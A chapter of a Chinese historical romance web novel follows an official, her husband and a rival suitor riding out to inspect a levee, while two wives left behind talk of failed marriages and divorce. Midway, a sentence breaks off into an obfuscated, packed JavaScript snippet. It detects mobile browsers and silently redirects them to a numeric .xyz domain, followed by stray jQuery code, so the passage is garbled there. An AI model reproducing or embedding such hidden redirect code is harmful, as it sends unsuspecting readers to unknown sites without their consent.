饭后,众人散去收拾行囊,因姜大人家中娘子身孕不便,留了白大人家娘子照顾,付濯晴和几位大人今日要去城外瞧瞧陈旧已久的堤坝,少不得野炊,她得带着杀人犯一同前去。
她在厨屋将杀人犯洗好的碗筷甩干净水,置放在一旁,这个动作做多了,付濯晴感觉自己臂力都有所精进,这么一个小厨房,她来回走,视线难免不会落在杀人犯身上,何况这人口中还哼着一首小曲,反正她没听过这个调调,欢快地声音弄的屋子各个角落都充斥着一股子欢乐。
“何事这般开心啊。”付濯晴耳朵注意到窗外有人停了脚步,大抵是文大人故意停留,故而故意一问。
她可不喜欢文昭这样的,自然是拒绝再三,且毫不留情。
边连瑱口中哼着的小曲骤停,他手脚麻利地在洗最后一部分碗筷,听闻她突如其来的关心,脑袋也没思索她为什么这么问,欢然道:“因为我能和你一起去野炊啊,当然开心。”只要有和付濯晴相处的机会,边连瑱觉得就都是他的机会。
他见她走近拿他洗好的碗筷,脑袋特意往她眼前凑去,碰上付濯晴刚好垂眸,二人四目相视的距离不足一寸。
素常平静的脸庞哪怕是眼下闪过一丝慌乱,也很快平息,但付濯晴却不曾将视线挪开,眼神缓而向下,停留在杀人犯唇畔,再度畔上,与其四目相视。
她不语,边连瑱脑海里却闪过很多画面,譬如洞房花烛那夜,付濯晴也是扫过他的脸庞,最终靠近他的唇畔,那时她看他的眼神满是情欲,眼下却是一汪死寂沉沉。
如若按边连瑱脑海中所想,她对他是丝毫无情的。他离她如此近,别说勾起她的欲望了,就连一丝一毫让付濯晴眼中泛起波澜都难如登天,唯一波动还是被他凑近而吓的。
边连瑱没动弹,但脸色忽而收了开心,接着叹了口气,看来他所追她的路任重道远啊。
窗外的人走了。
付濯晴几乎和窗外人离去的脚步声同一时间,身子往后倒了一下,接着摆放自己的碗筷,话声淡淡,“你刚演的不错。”
“我那不是演的,是真的。”她话音刚落,边连瑱就为自己澄清,“我是真的觉得能和你一起出去,是很开心的。”
付濯晴觉得这话不厚道,当然也没再多说什么。
**
日上柳梢,微风不断拂来热意,院外,三位大人也已收拾妥帖,在外候着,今日所乘马车是众人过来堰城郡所乘坐的,当时是四辆马车一同过来的,今日只需两辆,姜清和白衡两位大人的家眷不去,那自然三位大人一辆,付大人和其相公一辆。
可是文昭觉得,他想和付大人坐在一辆马车里,提步就想往付大人所乘马车前走,被其他两位大人给拦下了。
姜清道:“文大人今日还是同我们乘坐一辆马车,莫打扰付大人和其相公恩爱了。”
白衡也上前凑热闹,脸上看笑话地意图明显,“文大人,这金兰城中所言非虚啊,堂堂大人,不仅能陪着自家相公洒扫院落,还能不辞辛苦和其相公做饭给我们这些人吃,这我们亲眼所见,换做这里的谁,都不能做到如此细微之处,依我看,文大人还是歇了心思吧。”
姜清和白衡实知道文大人心思的,文大人的心思又不藏着掖着,可文昭不这么想,他执意站去付大人马车前,隔空跟两位大人坦言,“这有何事,不正应实了付大人乃万里挑一的人嘛,再者,男子有三妻四妾,你俩家中难道不曾有妾室,那付大人若想娶妾室,也无可厚非啊。”
文昭说的并无不妥,这天下男女难道不该一样吗,既然一样,他只需要让付大人喜欢上他就可以了。
再说,谁不喜欢一个有能力的人喜欢自己。
姜清:“……”
白衡:“……”
二人均被怼说的无言以对,这话好似哪里不对,但又好似处处是对的,二人相视一眼,不知该对文大人再说些什么,还是坐等瞧好戏吧。
付濯晴和边连瑱收拾妥帖,从门里出来时,边连瑱一眼就注意到那文大人又又想坐他家的马车。
不。
不行。
明明提前说好了,文大人要和其余两位大人乘坐一辆,有他在,这绝不可能。
边连瑱双手负着,他也不知自己是何姿态,总之他大摇大摆走去他的马车前,他先扶娘子上马车,后又挤得文大人整个人朝后倒了一下,“我娘子马车上有马夫,就无需文大人操劳了。”
说罢,他故意理了理衣裳,进了马车里。
文昭无语,“什么马夫,你这说的什么话。”他身后的两位大人就站在原地看完热闹,才动身上马车。
事实就是如此,也怨不得谁。
依门槛站着的两位家眷,是听不清沿台阶而下的人具体说什么的,但两位娘子也都盯着远去的马车投去羡慕眼神。
“何时,我家姜大人也能如付大人爱护自家相公那般,爱护我便好了。”姜大人家的娘子,姓温名泠。
温泠出身贵族,姜清出身也不错,但比起温家差了许多,想当时家中祖父给她和姜清议亲之事,看中的只是此人榜上有名,然她看中的则是此人相貌姣好,与她相匹,可是温家能看中姜清的身前名,姜清自然也能看中温家的名气,彼此利益交织,前几个月温府倒台,姜清原本要休妻的,也就是这时,她被诊出有孕在身,才没被休。
不过自那之后,姜清便再也没去过她那里,去家中妾室那里。
“只不过眼下说这些都太晚了。”温泠双目一时失了神,她很清楚姜清带她来的目的,旁人都带妻子,就姜清一人带妾室,故而会遭人耻笑非议的,“我已经不喜欢他了,这个孩子我也没打算多留。”
闺阁小姐,多数认识彼此,白大人家的娘子乔淑君,就认识这位温娘子。
乔淑君目光盯着远方已经渐行渐远的马车,深叹一口气,其实在这里,她二人是没资格去跟付大人说什么的,但她二人识字,通晓付大人昨夜之语,和今日之德,都是想让她那夫君和温娘子夫君多学学,为得是想让她二人轻松一点。
其实历经家中倾覆,夫家冷眼相待,乔淑君明白了那日付娘子夫君大闹柳府的话语,她是被家中压抑许久,不懂得取争属于她的权力,这么些年她都只为当好一颗为家族谋划的棋子,而非自我,她家如今财物悉数上缴,只剩那么一处府邸,下人尽遣,以此来保证家中人口性命无虞。
归根结底,乔淑君和温泠同病相怜。
乔淑君自然不会张口劝温娘子的决断,因不到万不得已,一个母亲不会对自己的孩子下手的,温娘子是伤心透了,“孩子没了之后,你打算和离吗?”
温泠点头,“付大人是个好人,我家大人也听付大人的,我会去求付大人让我带着我的嫁妆和离,不至于流落街头。”
“可我觉得那样会给付大人造成不便,毕竟姜清也是个十分好面子的人,我若当众请求付大人那般做,才真的会给付大人造就诸多不便。”
温泠还没想好她该如何做,是去麻烦付大人吗,可是是她提和离的,本朝有规,若夫妻双方没什么重大过失,一方提和离,势必要补偿另一方的,她的嫁妆虽多,但她一分也不想补偿姜清。
姜清就是过错方啊,待她不好难道不算吗,就连最起码得尊重都没给她不是吗,温泠觉得她就想一个干净的暖床工具,别无他用。
之前在家中,婆婆知晓她有孕,她想过把孩子拿掉,但府中下人没一个听她的,给她拿药,如今有了机会,她定不会留下孩子。
**
马车缓缓驶出城门,小窗外,行人渐行渐远,热闹的街市也变成了干涸的护城河道,九月天气依旧炎热,稍有风来,丝丝热意不断拍着边连瑱后脊,马车上的冰块缓缓融化,明明该很凉快的马车里,边连瑱却觉得无丝毫凉意。
他有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301236|177196||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
心事。
边连瑱坐在侧边,手托着脑袋坐着,眼睛时不时看向也睁着眼放空躺坐着的付濯晴,他思忖再三,总觉得他该说些什么,让遥远的路途变得轻松起来,但又不知该开口说些什么。
之前他恨意上头,不在乎和她的独处,今时不同往日,他很在乎和她的每一刻,他换了个坐姿,双手搭在膝盖上,慢慢挪去付濯晴所坐的主位上,他的右臂刚好能碰到她的左臂。
这一下就给付濯晴碰的回神了,她总觉得那姜大人的娘子神色不大对,却没想出个所以然,谁知被这么一碰回神,给她吓了一跳。
“有事吗?”她转过头来平静道。
边连瑱和煦一笑,“有事啊,想问问你在想什么,这么入神。”
付濯晴闻言,挑眉轻笑,眼中闪过一丝恶趣味,视线从上到下扫过杀人犯的浑身上下,反正坐马车的路上闲着也是闲着,“哦?你这么贴心想知道为什么,是为什么?”
“难不成你又要重复说那晚,你喜欢我吗。”
边连瑱诚恳点头,说的坦荡,“对啊,我就是喜欢你啊。”付濯晴的身子直坐起来,脑袋便离他更近了,他晃了一下神,“哦不,我就是爱你的,也想得到你的爱,这不可以吗?”
这是他如今心里最真的话了。
付濯晴垂眸轻嗤笑笑,她的爱早就随着往事烟消云散了,“其实我觉得文昭那人还是不错的,堂堂七尺男儿,长得呢,一表人才,一介探花郎在朝中也能同我助力。”
“你别闹了,我还不知道你,你不会喜欢那样的人的,你即便不喜欢我,可你也会为想杀我,而不同我和离,留我在身边,是你的最优解,而且你的名声和我缠绕,你暂时也不会杀我。”
“那你有没有想过,”付濯晴眼睛一梢,上半身往前一搭,双手左右抻在主榻两侧,“人都是会变的,你之前不对我喊打喊杀的吗,如今却似换了个人,改口说爱我,我若有朝一日不想杀你,想放了你呢,还是你当真觉得我会在乎你和我的那点名声呢。”
话音几乎是擦在边连瑱耳畔的,付濯晴凑得近,看上去是在亲他,其实话是不着语气的,但即便如此,边连瑱耳垂还是瞬间通红。
付濯晴就这么轻描淡写地瞧着杀人犯怔在原地,她要杀他的心是不会变的,就是她为了为自己正名,不管是在家里还是这里,别人永远都拿不了她的主意。
杀人犯说什么,“我就是爱你的,也想得到你的爱,这不可以吗”,当然不可以。
没人能决定得了她如何做。
付濯晴双手往后稍稍,歪着脑袋,颇带玩味地看着杀人犯,她刚才的话,让边连瑱无比沉思,脑袋里乱如一团,归根结底,他不知道她到底会不会那样变,如果她真的不要他了,怎么办。
边连瑱也觉得感情是可以培养的,付濯晴眼下不喜欢他,不代表她一辈子也不喜欢他,不是吗?
既然他都能这么觉得,万一付濯晴觉得文昭对她,比他对她更有益呢。
不行。
边连瑱决不允许这样的事发生,他选择直接问清楚,付濯晴不是觉得文昭一表人才嘛,难道他差?
他可不差,他比文昭好看多了,至于文采,他可以学啊。
边连瑱垂眸挤了两滴泪在眼眶中,一个转身坐到付濯晴正对面,双手握住她抻在榻两侧的双臂,泪眼盈盈地凑近问。
“那你会吗,会改变主意,放我走吗?”
付濯晴瞧他楚楚可怜的模样,只觉得好笑,她什么都没做,甚至没打掉杀人犯抓着她双臂的手,她难得迎面给了杀人犯一个十分清爽的笑,她笑着缓缓摇头,“世间事反复无常,很多事也不是不可能的。”
她心坚定,只不过看别人的乐子,也是解闷的手段,她自没必要告诉他真话。
边连瑱一听,心中一紧,眼泪成群而下,“你不是要杀我,为你报仇吗,你难道要说话不算话?”